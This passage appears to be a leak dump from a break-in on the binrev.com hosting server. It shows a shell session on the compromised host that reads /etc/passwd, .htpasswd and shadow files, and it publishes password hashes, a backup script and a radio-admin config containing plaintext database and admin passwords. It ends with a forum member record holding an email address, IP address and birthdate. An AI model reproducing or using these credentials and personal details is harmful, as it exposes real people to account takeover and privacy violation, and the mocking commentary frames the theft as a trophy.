1 16:29 binrev.com.db 19399 -rw-r--r-- 1 named named 1153 Apr 1 16:29 binrevmeetings.com.db 19400 -rw-r--r-- 1 named named 677 Apr 1 16:29 break-mag.com.db 19401 -rw-r--r-- 1 named named 713 Apr 1 16:29 breakmagazine.net.db 19402 -rw-r--r-- 1 named named 713 Apr 1 16:29 breakmagazine.org.db 19403 drwxr-xr-x 5 named named 4096 Mar 30 2007 chroot/ 19404 drwxrwx--- 2 named named 4096 Apr 17 19:06 data/ 19405 -rw-r--r-- 1 named named 703 Apr 1 16:29 ddphackradio.org.db 19406 -rw-r--r-- 1 named named 739 Apr 1 16:29 digitaldawgpound.org.db 19407 -rw-r--r-- 1 named named 694 Apr 1 16:29 docdroppers.org.db 19408 -rw-r--r-- 1 named named 858 Apr 1 16:29 dontmakemekickyourass.com.db 19409 -rw-r--r-- 1 named named 692 Apr 1 16:29 emeraldrain.com.db 19410 -rw-r--r-- 1 named named 660 Apr 6 2007 front.suchascream.net.db 19411 -rw-r--r-- 1 named named 806 Apr 1 16:29 frontalot.com.db 19412 -rw-r--r-- 1 named named 703 Apr 1 16:29 hackerevents.org.db 19413 -rw-r--r-- 1 named named 721 Apr 1 16:29 hackerexchange.com.db 19414 -rw-r--r-- 1 named named 1792 Apr 1 16:29 hackermedia.org.db 19415 -rw-r--r-- 1 named named 694 Apr 1 16:29 hackerparty.org.db 19416 -rw-r--r-- 1 named named 747 Apr 1 16:29 hackerpublicradio.org.db 19417 -rw-r--r-- 1 named named 649 Apr 1 16:29 hacktv.org.db 19418 -rw-r--r-- 1 named named 198 Jun 24 2008 localdomain.zone 19419 -rw-r--r-- 1 named named 195 Jun 24 2008 localhost.zone 19420 -rw-r--r-- 1 named named 415 Jun 24 2008 named.broadcast 19421 -rw-r--r-- 1 named named 2878 Jun 24 2008 named.ca 19422 -rw-r--r-- 1 named named 432 Jun 24 2008 named.ip6.local 19423 -rw-r--r-- 1 named named 433 Jun 24 2008 named.local 19424 -rw-r--r-- 1 named named 416 Jun 24 2008 named.zero 19425 -rw-r--r-- 1 named named 721 Apr 1 16:29 oldskoolphreak.com.db 19426 -rw-r--r-- 1 named named 750 Apr 1 16:29 omgmydickisonfire.com.db 19427 -rw-r--r-- 1 named named 785 Apr 1 16:29 projectwalmartfreedom.com.db 19428 drwxrwx--- 2 named named 4096 Apr 17 19:06 slaves/ 19429 -rw-r--r-- 1 named named 676 Apr 1 16:29 stankdawg.com.db 19430 -rw-r--r-- 1 named named 910 Apr 1 16:29 thatplacewhereiputthatthingthattime.com.db 19431 -rw-r--r-- 1 named named 722 Apr 1 16:29 walmartfreedom.com.db 19432 -rw-r--r-- 1 named named 676 Apr 1 16:29 wartyping.com.db 19433 -rw-r--r-- 1 named named 631 Apr 1 16:29 wh4f.org.db 19434 -rw-r--r-- 1 named named 730 Apr 1 16:29 willhackforfood.biz.db 19435 -rw-r--r-- 1 named named 631 Apr 1 16:29 yapl.org.db 19436 -rw-r--r-- 1 named named 655 Apr 1 16:29 zearle.com.db 19437 19438 binrev@binrev.com [/home/binrev]# last 19439 root pts/1 99-159-213-65.li Tue Jul 7 20:40 - 20:44 (00:03) 19440 19441 wtmp begins Tue Jul 7 20:40:35 2009 19442 binrev@binrev.com [/home/binrev]# cat /etc/passwd 19443 root:x:0:0:root:/root:/bin/bash 19444 bin:x:1:1:bin:/bin:/sbin/nologin 19445 daemon:x:2:2:daemon:/sbin:/sbin/nologin 19446 adm:x:3:4:adm:/var/adm:/sbin/nologin 19447 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 19448 sync:x:5:0:sync:/sbin:/bin/sync 19449 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 19450 halt:x:7:0:halt:/sbin:/sbin/halt 19451 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 19452 news:x:9:13:news:/etc/news: 19453 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 19454 operator:x:11:0:operator:/root:/sbin/nologin 19455 games:x:12:100:games:/usr/games:/sbin/nologin 19456 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 19457 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 19458 nobody:x:99:99:Nobody:/:/sbin/nologin 19459 dbus:x:81:81:System message bus:/:/sbin/nologin 19460 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 19461 rpm:x:37:37::/var/lib/rpm:/sbin/nologin 19462 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 19463 netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash 19464 nscd:x:28:28:NSCD Daemon:/:/sbin/nologin 19465 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 19466 rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin 19467 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin 19468 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin 19469 mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 19470 smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 19471 pcap:x:77:77::/var/arpwatch:/sbin/nologin 19472 apache:x:48:48:Apache:/var/www:/sbin/nologin 19473 squid:x:23:23::/var/spool/squid:/sbin/nologin 19474 webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin 19475 xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin 19476 ntp:x:38:38::/etc/ntp:/sbin/nologin 19477 pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM 19478 services:/var/lib/Pegasus:/sbin/nologin 19479 htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin 19480 named:x:25:25:Named:/var/named:/sbin/nologin 19481 canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin 19482 wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin 19483 postfix:x:89:89::/var/spool/postfix:/sbin/nologin 19484 mailman:x:32001:32001::/usr/local/cpanel/3rdparty/mailman:/bin/bash 19485 cpanel:x:32002:32003::/usr/local/cpanel:/bin/bash 19486 mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash 19487 kickass:x:32008:32009::/home/kickass:/usr/local/cpanel/bin/jailshell 19488 hacktv:x:32012:32013::/home/hacktv:/usr/local/cpanel/bin/jailshell 19489 ospadmin:x:32013:32014::/home/ospadmin:/usr/local/cpanel/bin/noshell 19490 trashing:x:32014:32015::/home/trashing:/usr/local/cpanel/bin/jailshell 19491 zearle:x:32019:32020::/home/zearle:/usr/local/cpanel/bin/noshell 19492 clamav:x:32021:32022::/usr/local/clamav:/bin/false 19493 munin:x:32022:32023::/home/munin:/bin/bash 19494 postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash 19495 dropper:x:32023:32024::/home/dropper:/usr/local/cpanel/bin/jailshell 19496 hmedia:x:32024:32025::/home/hmedia:/usr/local/cpanel/bin/jailshell 19497 stankdaw:x:32025:32026::/home/stankdaw:/bin/bash 19498 meetings:x:32026:32027::/home/meetings:/usr/local/cpanel/bin/noshell 19499 hevents:x:32027:32028::/home/hevents:/usr/local/cpanel/bin/noshell 19500 wh4forg:x:32028:32029::/home/wh4forg:/bin/bash 19501 homeless:x:32029:32030::/home/homeless:/usr/local/cpanel/bin/noshell 19502 hackrad:x:32030:32031::/home/hackrad:/bin/bash 19503 hparty:x:32031:32032::/home/hparty:/usr/local/cpanel/bin/noshell 19504 yaplorg:x:32032:32033::/home/yaplorg:/usr/local/cpanel/bin/noshell 19505 locator:x:32033:32034::/home/locator:/usr/local/cpanel/bin/jailshell 19506 wartyper:x:32034:32035::/home/wartyper:/usr/local/cpanel/bin/noshell 19507 binrev:x:32035:32036::/home/binrev:/usr/local/cpanel/bin/jailshell 19508 front:x:32036:32037::/home/front:/usr/local/cpanel/bin/jailshell 19509 digdawg:x:32037:32038::/home/digdawg:/usr/local/cpanel/bin/jailshell 19510 breakmag:x:32040:32041::/home/breakmag:/usr/local/cpanel/bin/jailshell 19511 break2:x:32041:32042::/home/break2:/usr/local/cpanel/bin/noshell 19512 break3:x:32042:32043::/home/break3:/usr/local/cpanel/bin/noshell 19513 pwf:x:32043:32044::/home/pwf:/usr/local/cpanel/bin/jailshell 19514 pwf2:x:32044:32046::/home/pwf2:/usr/local/cpanel/bin/jailshell 19515 erain:x:32045:32047::/home/erain:/usr/local/cpanel/bin/noshell 19516 hpr:x:32046:32048::/home/hpr:/usr/local/cpanel/bin/jailshell 19517 cpanel-horde:x:32003:32004::/var/cpanel/userhomes/cpanel-horde:/usr/local/cpane 19518 l/bin/noshell 19519 cpanel-phpmyadmin:x:32004:32005::/var/cpanel/userhomes/cpanel-phpmyadmin:/usr/l 19520 ocal/cpanel/bin/noshell 19521 cpanel-phppgadmin:x:32005:32006::/var/cpanel/userhomes/cpanel-phppgadmin:/usr/l 19522 ocal/cpanel/bin/noshell 19523 cpanelhorde:x:32006:32007::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/ 19524 bin/noshell 19525 cpanelphpmyadmin:x:32007:32008::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/loc 19526 al/cpanel/bin/noshell 19527 cpanelphppgadmin:x:32009:32010::/var/cpanel/userhomes/cpanelphppgadmin:/usr/loc 19528 al/cpanel/bin/noshell 19529 cpanelroundcube:x:32010:32011::/var/cpanel/userhomes/cpanelroundcube:/usr/local 19530 /cpanel/bin/noshell 19531 firedick:x:32047:32049::/home/firedick:/bin/bash 19532 binrev@binrev.com [/home/binrev]# /sbin/ifconfig 19533 eth1 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19534 inet addr:69.59.25.157 Bcast:69.59.25.191 Mask:255.255.255.192 19535 inet6 addr: fe80::215:c5ff:fef3:40ae/64 Scope:Link 19536 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19537 RX packets:1643775694 errors:0 dropped:0 overruns:0 frame:0 19538 TX packets:2945096654 errors:0 dropped:0 overruns:0 carrier:0 19539 collisions:0 txqueuelen:1000 19540 RX bytes:66003292 (62.9 MiB) TX bytes:4193177446 (3.9 GiB) 19541 Interrupt:169 Memory:f4000000-f4012100 19542 19543 eth1:1 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19544 inet addr:69.59.25.158 Bcast:69.59.25.191 Mask:255.255.255.192 19545 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19546 Interrupt:169 Memory:f4000000-f4012100 19547 19548 eth1:2 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19549 inet addr:69.59.25.196 Bcast:69.59.25.207 Mask:255.255.255.240 19550 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19551 Interrupt:169 Memory:f4000000-f4012100 19552 19553 eth1:3 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19554 inet addr:69.59.25.197 Bcast:69.59.25.207 Mask:255.255.255.240 19555 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19556 Interrupt:169 Memory:f4000000-f4012100 19557 19558 eth1:4 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19559 inet addr:69.59.25.198 Bcast:69.59.25.207 Mask:255.255.255.240 19560 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19561 Interrupt:169 Memory:f4000000-f4012100 19562 19563 eth1:5 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19564 inet addr:69.59.25.199 Bcast:69.59.25.207 Mask:255.255.255.240 19565 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19566 Interrupt:169 Memory:f4000000-f4012100 19567 19568 eth1:6 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19569 inet addr:69.59.25.200 Bcast:69.59.25.207 Mask:255.255.255.240 19570 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19571 Interrupt:169 Memory:f4000000-f4012100 19572 19573 eth1:7 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19574 inet addr:69.59.25.201 Bcast:69.59.25.207 Mask:255.255.255.240 19575 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19576 Interrupt:169 Memory:f4000000-f4012100 19577 19578 eth1:8 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19579 inet addr:69.59.25.202 Bcast:69.59.25.207 Mask:255.255.255.240 19580 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19581 Interrupt:169 Memory:f4000000-f4012100 19582 19583 eth1:9 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19584 inet addr:69.59.25.203 Bcast:69.59.25.207 Mask:255.255.255.240 19585 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19586 Interrupt:169 Memory:f4000000-f4012100 19587 19588 eth1:10 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19589 inet addr:69.59.25.204 Bcast:69.59.25.207 Mask:255.255.255.240 19590 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19591 Interrupt:169 Memory:f4000000-f4012100 19592 19593 eth1:11 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19594 inet addr:69.59.25.205 Bcast:69.59.25.207 Mask:255.255.255.240 19595 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19596 Interrupt:169 Memory:f4000000-f4012100 19597 19598 eth1:12 Link encap:Ethernet HWaddr 00:15:C5:F3:40:AE 19599 inet addr:69.59.25.206 Bcast:69.59.25.207 Mask:255.255.255.240 19600 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 19601 Interrupt:169 Memory:f4000000-f4012100 19602 19603 lo Link encap:Local Loopback 19604 inet addr:127.0.0.1 Mask:255.0.0.0 19605 inet6 addr: ::1/128 Scope:Host 19606 UP LOOPBACK RUNNING MTU:16436 Metric:1 19607 RX packets:78844451 errors:0 dropped:0 overruns:0 frame:0 19608 TX packets:78844451 errors:0 dropped:0 overruns:0 carrier:0 19609 collisions:0 txqueuelen:0 19610 RX bytes:836952528 (798.1 MiB) TX bytes:836952528 (798.1 MiB) 19611 19612 binrev@binrev.com [/home/binrev/.htpasswds]# find . -name passwd | xargs cat 19613 forumsdev:0GYoehds6gxfA 19614 breakmag:L9mc4xoePLmAs 19615 dc16:Yy2zp6WkvVGzo 19616 backupaccess:uRnOpf6CEiOaQ 19617 forumsdev:NyZA4N.lEJXd2 19618 19619 // Mad php codez bellow; 19620 19621 binrev@binrev.com [/home/binrev/public_html/forumbackups]# cat backup.php 19622 <?php 19623 19624 error_reporting(E_ALL); 19625 19626 //Forums backup script 19627 //Created: 2006-01-11 by Nick84 19628 19629 19630 //2 3 * * 1,3,5 cd /home/binrev/public_html/forumbackups;php -q backup.php > 19631 log.txt 19632 19633 //HTTP Access Details 19634 //User: backupaccess 19635 //Pass: dfglkjdfjkgjnn45893asfkjl 19636 19637 $totalbackups = 7; 19638 19639 19640 $beforeforumspath = '../'; 19641 $archive_path = 'archive/'; 19642 $temp_backupsql = 'sqlbackup.gz'; 19643 $temp_backupfiles = 'filebackup.tar.gz'; 19644 19645 $backupscriptdir = trim(`pwd`); 19646 19647 $curr_date = date("Y-m-d--H-i-s"); 19648 19649 19650 19651 //==Database 19652 19653 //Remove old sql backup file 19654 @unlink($temp_backupsql); 19655 @unlink($temp_backupsql.'.gpg'); 19656 19657 //Backup sql database inot gzip 19658 echo `mysqldump --opt -ubinrev_forums -p2427821378a binrev_forums | gzip -c > 19659 $temp_backupsql 2>&1`; 19660 19661 //Copy backup to archive 19662 copy($temp_backupsql, $archive_path.$curr_date.'__sqlbackup.gz'); 19663 19664 //Encrypt sql backup 19665 system('gpg --always-trust --homedir ./gpg --recipient "Binrev Backup" --output 19666 "'.$temp_backupsql.'.gpg" --encrypt "'.$temp_backupsql.'" 2>&1'); 19667 19668 //Remove temp unencrypted sql backup 19669 //unlink($temp_backupsql); 19670 19671 19672 //==Forum Files 19673 19674 //Remove old files backup file 19675 @unlink($temp_backupfiles); 19676 @unlink($temp_backupfiles.'.gpg'); 19677 19678 //Backup files into tar, zip 19679 $command = "cd {$beforeforumspath};tar zcvf 19680 {$backupscriptdir}/{$temp_backupfiles} forums 2>&1"; 19681 system($command); 19682 19683 //Copy files backup to archive 19684 copy($temp_backupfiles, $archive_path.$curr_date.'__filebackup.gz'); 19685 19686 //Encrypt file backup 19687 system('gpg --always-trust --homedir ./gpg --recipient "Binrev Backup" --output 19688 "'.$temp_backupfiles.'.gpg" --encrypt "'.$temp_backupfiles.'" 2>&1'); 19689 19690 19691 //Remove temp unencrypted files backup 19692 //unlink($temp_backupfiles); 19693 19694 19695 //Remove old backup files 19696 removeoldbackups($archive_path); 19697 19698 19699 exit; 19700 19701 19702 19703 function removeoldbackups($dirpath) { 19704 global $totalbackups; 19705 19706 $dir = opendir($dirpath); 19707 19708 while (false !== ($file = readdir($dir))) { 19709 $localpath = $dirpath.$file; 19710 if (is_file($localpath)) { 19711 $key = filemtime($localpath); 19712 $files_by_date[$key] = $file; 19713 $files_by_name[] = $file; 19714 } 19715 } 19716 19717 krsort($files_by_date); 19718 19719 $count = 0; 19720 foreach ($files_by_date as $file) { 19721 if ( (strstr($file, 'sqlbackup')) || (strstr($file, 19722 'filebackup')) ) { 19723 $count++; 19724 if ($count > $totalbackups*2) { 19725 unlink($dirpath.$file); 19726 echo "Deleted:\t$file\n"; 19727 } else { 19728 echo "Kept:\t$file\n"; 19729 } 19730 } 19731 } 19732 19733 } 19734 19735 19736 19737 binrev@binrev.com [/home/binrev/etc/binrev.com]# cat shadow 19738 stankdawg:$1$AzWTzEaz$Dhkdqr89PNsOp9VnjS0n81::::::: 19739 radio:$1$AuV8mt8K$OSONbFXC7lop0fOkfpCbx/::::::: 19740 articles:$1$krZaiSoL$SWyemmjZU8L7FdZUI7N9U/::::::: 19741 hackradio:$1$QyDmunqH$3E9eEwkLG3Reqc4C40Tsu1::::::: 19742 hacktv:$1$QxeuqQ_T$KDc0CHANcSz4T.1qLmAOu/::::::: 19743 hiddenemail:$1$EueWiEri$4EgRrustSf4B.YPqOuXCD1::::::: 19744 letters:$1$1LNcHplH$25/JeLd69V5AeLcUsmdtI1::::::: 19745 mentorship:$1$4QMGM4s2$t7GQRzOii7YTGBPDn0Ks3/::::::: 19746 notes:$1$RdHFQZnQ$YJuPUL5Bl5mmsW796/SuA.::::::: 19747 orders:$1$DseAGOcq$7VNriniDQ3LcFjuhJ6FjK0::::::: 19748 verbal:$1$W7pJ__qZ$7DNncy7i6lzY5bWE6J/PA1::::::: 19749 zer0db:$1$Yenz9B_3$C1bj4MqLlPIvT5mkV0CnQ.::::::: 19750 bitbucket:$1$sMdVgU7L$keEF2Rzu668VDGdwAHhHP1::::::: 19751 forums:$1$UGH__nUD$SSPw.A0K1paLVpC3Dwlu3/::::::: 19752 test:$1$apgTwrxX$PNBSflcz9FcZeyRllLUw4.::::::: 19753 nicktest:$1$Hdn5uWN6$R52GgQKFE2dZHKXgvD8lC.:14025:::::: 19754 binrev@binrev.com [/home/binrev/public_ftp/incoming]# ls -al 19755 total 2283164 19756 drwxr-x-wx 3 binrev binrev 4096 Sep 19 2008 ./ 19757 drwxr-xr-x 3 binrev binrev 4096 May 10 2007 ../ 19758 -rw-r--r-- 1 binrev binrev 5955 Nov 3 2006 1.gif 19759 -rw-r--r-- 1 binrev binrev 2052096 Sep 7 2006 100_0191.MOV 19760 -rw-r--r-- 1 ftp ftp 104154 Nov 15 2007 772.854 19761 -rw-r--r-- 1 binrev binrev 700923904 Jun 10 2006 Electronics\ Episode\ 1.avi 19762 -rw-r--r-- 1 binrev binrev 289943556 Jun 11 2006 Electronics\ Episode\ 1.mpg 19763 -rw-r--r-- 1 ftp ftp 4204527 Sep 18 2007 Firefox_wallpaper.png 19764 -rw-r--r-- 1 binrev binrev 764922858 Sep 7 2006 Keyboard\ HTVUG.rar 19765 -rw-r--r-- 1 binrev binrev 136827484 May 21 2006 Lunar.rar 19766 -rw-r--r-- 1 ftp ftp 56276065 Oct 12 2007 19767 Stankdawg-20070210-150158-full.flac 19768 -rw-r--r-- 1 ftp ftp 28181048 Oct 12 2007 19769 Stankdawg-20070304-192949.flac 19770 -rw-r--r-- 1 ftp ftp 36723629 Oct 12 2007 19771 Stankdawg-20070304-214956.flac 19772 -rw-r--r-- 1 ftp ftp 4241388 Oct 12 2007 19773 Stankdawg-20070513-201723.flac 19774 -rw-r--r-- 1 ftp ftp 51331409 Oct 12 2007 19775 Stankdawg-20070513-203036.flac 19776 -rw-r--r-- 1 ftp ftp 72594 Jan 23 2008 br407-flyer.jpg 19777 -rw-r--r-- 1 ftp ftp 255373723 Aug 21 2007 ddpmeetup.wmv 19778 -rw-r--r-- 1 binrev binrev 9274 Aug 13 2006 ex_perl 19779 -rw-r--r-- 1 ftp ftp 4 Jul 3 2007 foo 19780 -rw-r--r-- 1 ftp ftp 1255 Jan 23 2008 g2-unpossible.png 19781 -rw-r--r-- 1 ftp ftp 2048 Jul 16 2008 mini_file.tmp 19782 -rw-r--r-- 1 ftp ftp 1748 Feb 24 2008 ness6653.lnk 19783 -rw-r--r-- 1 ftp ftp 801 Aug 28 2007 os400s 19784 -rw-r--r-- 1 binrev binrev 1411036 Oct 2 2006 pwnage.wmv 19785 drwxrwxrwx 2 binrev binrev 4096 Apr 5 2007 radio/ 19786 -rw-r--r-- 1 ftp ftp 2718239 Jul 16 2008 test_file.tmp 19787 -rw-r--r-- 1 binrev binrev 94500 Apr 24 2006 urkt.zip.png 19788 binrev@binrev.com [/home/binrev/public_html/radio/hackradio/admin/private]# cat 19789 config.php 19790 <?php 19791 19792 error_reporting(E_ALL); 19793 19794 $db_host = 'localhost'; 19795 $db_uname = 'binrev_projectus'; 19796 $db_pass = 'brproject5559'; 19797 $db_dbname = 'binrev_binrevprojects'; 19798 19799 //$db_host = 'localhost'; 19800 //$db_uname = 'test3'; 19801 //$db_pass = ''; 19802 //$db_dbname = 'test3'; 19803 19804 $db_prefix = 'brr_'; 19805 $tbl['schedule'] = 'schedule'; 19806 $tbl['fallback'] = 'fallback'; 19807 $tbl['feedsched'] = 'feedsched'; 19808 $tbl['feedsched_files'] = 'feedsched_files'; 19809 $tbl['userlogs'] = 'userlogs'; 19810 $tbl['binrev_shows'] = 'binrev_shows'; 19811 $tbl['shows_info'] = 'shows_info'; 19812 19813 $sch_debug = 1; 19814 $time_to_connect_min = 1; 19815 19816 $dir['binrevradio'] = '\\\\Hdd_server\\server_files\\binrev\\'; 19817 $dir['binrevradio'] = '/home/binrev/public_html/radio/archive/'; 19818 $dir['binrevradioalt'] = 19819 '/home/binrev/public_html/radio/hackradio/admin/shows/binrevradio/'; 19820 $dir['binrevradioalt'] = '/home/binrev/public_ftp/incoming/radio/'; 19821 19822 $site_title = 'Binary Revolution Radio'; 19823 $admin_password = 'radadmin'; 19824 19825 $dir['anonftp'] = '/home/binrev/public_ftp/incoming/radio/'; 19826 $dir['uploadedshows'] = 19827 '/home/binrev/public_html/radio/hackradio/admin/shows/'; 19828 $dir['downloadedshows'] = 19829 '/home/binrev/public_html/radio/hackradio/admin/showsdl/'; 19830 19831 $livedetails['server'] = 'http://www.binrev.com:8000/main'; 19832 $livedetails['anonftp'] = 'ftp://www.binrev.com/incoming/radio/'; 19833 $livedetails['adminlogin'] = 'http://www.binrev.com:8000/admin/'; 19834 $livedetails['status'] = 'http://www.binrev.com:8000/status.xsl'; 19835 $livedetails['stream'] = 'http://www.binrev.com/ddp-hr.m3u'; 19836 19837 $process['streamer'] = 'icecast'; 19838 $process['csstreamer'] = 'ices'; 19839 19840 $file['cstreamerplaylist'] = 19841 '/home/binrev/public_html/radio/hackradio/admin/private/playlist.txt'; 19842 $file['streamerconf'] = 19843 '/home/binrev/public_html/radio/hackradio/admin/private/icecast.xml'; 19844 $file['cstreamerconf'] = 19845 '/home/binrev/public_html/radio/hackradio/admin/private/ices.xml'; 19846 $file['wgettemp'] = 19847 '/home/binrev/public_html/radio/hackradio/admin/private/urltowget.txt'; 19848 19849 $file['binrev_shows'] = 'binrevshows.htm'; 19850 //$file['binrev_shows'] = '/home/binrev/public_html/radio/archive.html'; 19851 //$file['binrev_schedule'] = '/home/binrev/public_html/radio/schedule.html'; 19852 19853 //$file['binrev_shows'] = '/home/binrev/public_html/Templates/BinRevLay.dwt'; 19854 //$file['binrev_schedule'] = 19855 '/home/binrev/public_html/Templates/BinRevLay.dwt'; 19856 19857 $file['binrev_shows'] = '/home/binrev/public_html/index.html'; 19858 $file['binrev_schedule'] = '/home/binrev/public_html/index.html'; 19859 19860 $exec['streamer'] = 'cd /usr/local/bin/;./icecast -c 19861 '.$file['streamerconf'].'&'; 19862 $exec['csstreamer'] = 'cd /usr/local/bin/;./ices -c 19863 '.$file['cstreamerconf'].'&'; 19864 19865 $url['streamerstatus'] = 'http://www.binrev.com:8000/status.xsl'; 19866 $url['binrev_shows'] = 'http://www.binrev.com/radio/archive/'; 19867 $url['podcast'] = 'http://www.binrev.com/radio/hackradio/podcast'; 19868 19869 $pid['ices'] = 19870 '/home/binrev/public_html/radio/hackradio/admin/private/ices/ices.pid'; 19871 19872 $ices['version'] = 'Icecast 2.2.0'; 19873 19874 $defaults['bitrate'] = 24; 19875 19876 ~#~#~#~#~#~ Do you want hashes? Database dump? Yeah? YEAH! #~#~#~#~#~# 19877 19878 19879 INSERT INTO `ibf_members` (`member_id`, `name`, `member_group_id`, `email`, 19880 `joined`, `ip_address`, `posts`, `title`, `allow_admin_mails`, `time_offset`, 19881 `hide_email`, `email_pm`, `email_full`, `skin`, `warn_level`, `warn_lastwarn`, 19882 `language`, `last_post`, `restrict_post`, `view_sigs`, `view_img`, `view_avs`, 19883 `view_pop`, `bday_day`, `bday_month`, `bday_year`, `msg_count_new`, 19884 `msg_count_total`, `msg_count_reset`, `msg_show_notification`, `misc`, 19885 `last_visit`, `last_activity`, `dst_in_use`, `view_prefs`, `coppa_user`, 19886 `mod_posts`, `auto_track`, `org_perm_id`, `temp_ban`, `login_anonymous`, 19887 `ignored_users`, `mgroup_others`, `member_login_key`, 19888 `member_login_key_expire`, `subs_pkg_chosen`, `has_blog`, `sub_end`, 19889 `members_auto_dst`, `members_cache`, `members_disable_pm`, 19890 `members_display_name`, `members_seo_name`, `members_created_remote`, 19891 `members_editor_choice`, `gallery_perms`, `has_gallery`, 19892 `members_profile_views`, `members_l_display_name`, `members_l_username`, 19893 `failed_logins`, `failed_login_count`, `is_miserable`, `miserable_min`, 19894 `miserable_max`, `miserable_ok`, `miserable_index`, `miserable_to`, 19895 `miserable_nf`, `miserable_red`, `members_pass_hash`, `members_pass_salt`, 19896 `member_banned`, `identity_url`, `member_uploader`, `members_bitoptions`, 19897 `fb_uid`, `fb_emailhash`, `fb_emailallow`, `fb_lastsync`, `members_day_posts`, 19898 `inactive_notified`, `inactive_lastNotified`, `inactive_oldGroup`, 19899 `inactive_moved`, `links`) VALUES 19900 19901 "1";"StankDawg";"5";"StankDawg@stankdawg.com";"1031952765";"68.216.29.69";"7412 19902 ";""Diggy"";"0";"-5";"1";"0";"1";"1";"0";"0";"1";"1247976647";"0";"1" 19903 ;"1";"1";"0";"24";"9";"1971";"0";"719";"0";"0";NULL;"1247977845";"1248021697";" 19904 0";"-1&-1";"0";"0";"0";",4,";NULL;"1&1";"a:0:{}";",4,";"111fccfe9ca44c65b93e3b7 19905 459241aaf";"1248626497";"0";"1";"0";"1";"a:8:{s:7:\"friends\";a:25:{i:8;s:1:\"1 19906 \";i:13;s:1:\"1\";i:46;s:1:\"1\";i:124;s:1:\"1\";i:214;s:1:\"1\";i:250;s:1:\"1\ 19907 ";i:290;s:1:\"1\";i:564;s:1:\"1\";i:827;s:1:\"1\";i:1252;s:1:\"1\";i:1495;s:1:\ 19908 "1\";i:1723;s:1:\"1\";i:1741;s:1:\"1\";i:1828;s:1:\"1\";i:1961;s:1:\"1\";i:1970 19909 ;s:1:\"1\";i:2303;s:1:\"1\";i:2327;s:1:\"1\";i:5987;s:1:\"1\";i:6257;s:1:\"1\"; 19910 i:6465;s:1:\"1\";i:7992;s:1:\"1\";i:8080;s:1:\"1\";i:9783;s:1:\"1\";i:17001;s:1 19911 :\"1\";}s:7:\"my_blog\";s:1:\"1\";s:11:\"report_temp\";a:0:{}s:19:\"report_last 19912 _updated\";i:1247936325;s:10:\"report_num\";s:1:\"0\";s:10:\"rc_rss_key\";s:32: 19913 \"f61a9a79bcfa6def790f91f4f724dfda\";s:7:\"gb_mark\";i:1248021964;s:5:\"stats\" 19914 ;a:11:{s:11:\"postsByTime\";a:24:{i:0;a:2:{s:4:\"hour\";s:1:\"0\";s:12:\"postsP 19915 ercent\";d:70;}i:1;a:2:{s:4:\"hour\";s:1:\"1\";s:12:\"postsPercent\";d:50;}i:2; 19916 a:2:{s:4:\"hour\";s:1:\"2\";s:12:\"postsPercent\";d:22;}i:3;a:2:{s:4:\"hour\";s 19917 :1:\"3\";s:12:\"postsPercent\";d:7;}i:4;a:2:{s:4:\"hour\";s:1:\"4\";s:12:\"post 19918 sPercent\";d:4;}i:5;a:2:{s:4:\"hour\";s:1:\"5\";s:12:\"postsPercent\";d:0;}i:6; 19919 a:2:{s:4:\"hour\";s:1:\"6\";s:12:\"postsPercent\";d:0;}i:7;a:2:{s:4:\"hour\";s: 19920 1:\"7\";s:12:\"postsPercent\";d:5;}i:8;a:2:{s:4:\"hour\";s:1:\"8\";s:12:\"posts 19921 Percent\";d:15;}i:9;a:2:{s:4:\"hour\";s:1:\"9\";s:12:\"postsPercent\";d:43;}i:1 19922 0;a:2:{s:4:\"hour\";s:2:\"10\";s:12:\"postsPercent\";d:36;}i:11;a:2:{s:4:\"hour 19923 